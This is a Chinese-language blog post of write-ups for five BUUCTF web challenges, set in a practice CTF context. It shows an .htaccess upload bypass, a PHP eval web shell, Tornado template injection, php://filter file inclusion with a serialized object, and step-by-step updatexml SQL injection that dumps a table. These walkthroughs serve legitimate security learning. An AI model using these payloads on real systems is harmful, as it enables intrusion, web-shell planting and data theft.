BUUCTF-WEB(21-25)

Muneyoshi發表於2024-05-20

[HCTF 2018]admin

這道題目就是admin說明得管理員登入

那我直接創一個admin的賬號但是顯示已經存在了

image-20240520153421132

說明使用者名稱就是admin,然後我們直接爆破,也是爆破出來密碼就是123

image-20240520153348549

直接登入

image-20240520153458355

[MRCTF2020]你傳你🐎呢

這個題就是檔案上傳,我們MIME繞過,字尾名都被ban了,我們上傳.htaccess繞過

<IfModule mime_module>
SetHandler application/x-httpd-php   
</IfModule>

image-20240520154404200

然後上傳一句話木馬

<?php @eval($_POST['cmd']);?>

image-20240520154550371

然後蟻劍連線,根目錄找到flag

image-20240520154624010

護網杯 2018]easy_tornado

參考:

[護網杯 2018]easy_tornado 1(兩種解法!)_easytornado-CSDN部落格

SSTI入門詳解-CSDN部落格

開啟題目,知道我們的hashfile是由cookie還有filename決定的

image-20240520160613418

image-20240520160456927

檔名我們是已經有了

image-20240520160629937

看了大佬的題解,他就是SSTI

error?msg={{handler.settings}}

image-20240520160737955

handler.settings就是

在tornado模板中,存在一些可以訪問的快速物件,這裡用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,這裡面就是我們的一些環境變數。

然後我們去加密檔名,然後和cookie拼接起來,在加密一次

cookie值

cc4783e1-81c0-44bc-9833-2272b1f64a7f

filename MD5加密後

3bf9f6cf685a6dd8defadabfb41a03a1

拼接後

cc4783e1-81c0-44bc-9833-2272b1f64a7f3bf9f6cf685a6dd8defadabfb41a03a1

再次加密

2c122b43eabf95f1ea4472881f56c7a2

訪問

?filename=/fllllllllllllag&filehash=2c122b43eabf95f1ea4472881f56c7a2

image-20240520161101922

[ZJCTF 2019]NiZhuanSiWei

這道題是檔案包含題+反序列化

image-20240520162837134

第一層就是要文字里面的內容是welcome to the zjctf

那我們就用data://text/plain

?text=data://text/plain,welcome to the zjctf

image-20240520162943942

第二關,他提示我們需要useless.php

我們檢視useless.php的原始碼,用php://filter

?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

解碼出來是這樣

image-20240520163129073

第三關我們需要反序列化

image-20240520164126959

最後總的就是這個

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

檢視原始碼,找到flag

image-20240520164155351

[極客大挑戰 2019]HardSQL

參考:

[極客大挑戰 2019]HardSQL 1-CSDN部落格

[極客大挑戰 2019]HardSQL-CSDN部落格

這道題看大佬們的WP,我做這個sql題每次都被拷打

爆庫:

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

image-20240520214859541

爆表:

admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

image-20240520214941873

爆列:

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

image-20240520215014969

爆資料:

admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#

image-20240520215129675

flag{9393e26b-77ea-42e0-

這裡其實只能拿到一半flag,我之前也遇到這個問題,這次也是終於解決了

新知識:查不全時可用left(),right()

substring與mid被過濾可以用right與left來繞過

這裡就用right

admin'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#

image-20240520215614292

完整的flag

flag{9393e26b-77ea-42e0-ace4-63d3a27718be}